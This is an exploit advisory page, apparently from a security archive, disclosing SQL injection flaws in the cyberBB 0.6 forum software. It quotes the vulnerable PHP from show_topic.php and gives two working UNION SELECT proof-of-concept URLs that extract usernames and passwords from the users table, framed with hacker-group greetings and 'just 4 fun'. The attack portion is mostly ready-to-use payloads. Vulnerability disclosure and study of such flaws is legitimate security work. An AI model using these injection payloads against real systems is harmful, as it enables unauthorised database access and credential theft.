cyberBB 0.6 Multiple Remote SQL Injection Vulnerabilities

2008.08.22
Credit: cOndemned
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 6.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

######################################################################################## # # Name : cyberBB v. 0.6 Multiply Remote SQL Injection Vulnerabilities # Author : cOndemned [ Dark-Coders ] # Greetz : Avantura, str0ke, ZaBeaTy, voo|doo, irk4z, and many, many more... # Conditions : Magic quotes gpc = On & Off / User must be logged into # ######################################################################################## source of /show_topic.php : 21. $id=$_REQUEST['id']; 22. 23. if(isset($_REQUEST['p'])) $p=$_REQUEST['p']; else $p=''; 24. 25. $db = mysql_connect($mysql_server,$mysql_user,$mysql_pass); 26. 27. mysql_select_db($mysql_db); 28. 29. $sql = "SELECT * FROM `topics` WHERE `id` = $id"; proof of concept : /show_topic.php?id=-1+UNION+SELECT+1,2,3,4,concat(username,0x3a,password),6,7+FROM+users/* second sql injection (magic quotes gpc must be off): /profile.php?user='-1+UNION+SELECT+1,2,3,4,5,concat(username,0x3a,password),7,8,9,10,11+FROM+users/* just 4 fun

References:

http://xforce.iss.net/xforce/xfdb/44526
http://www.securityfocus.com/bid/30734
http://www.milw0rm.com/exploits/6260


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2022, cxsecurity.com

 

Back to Top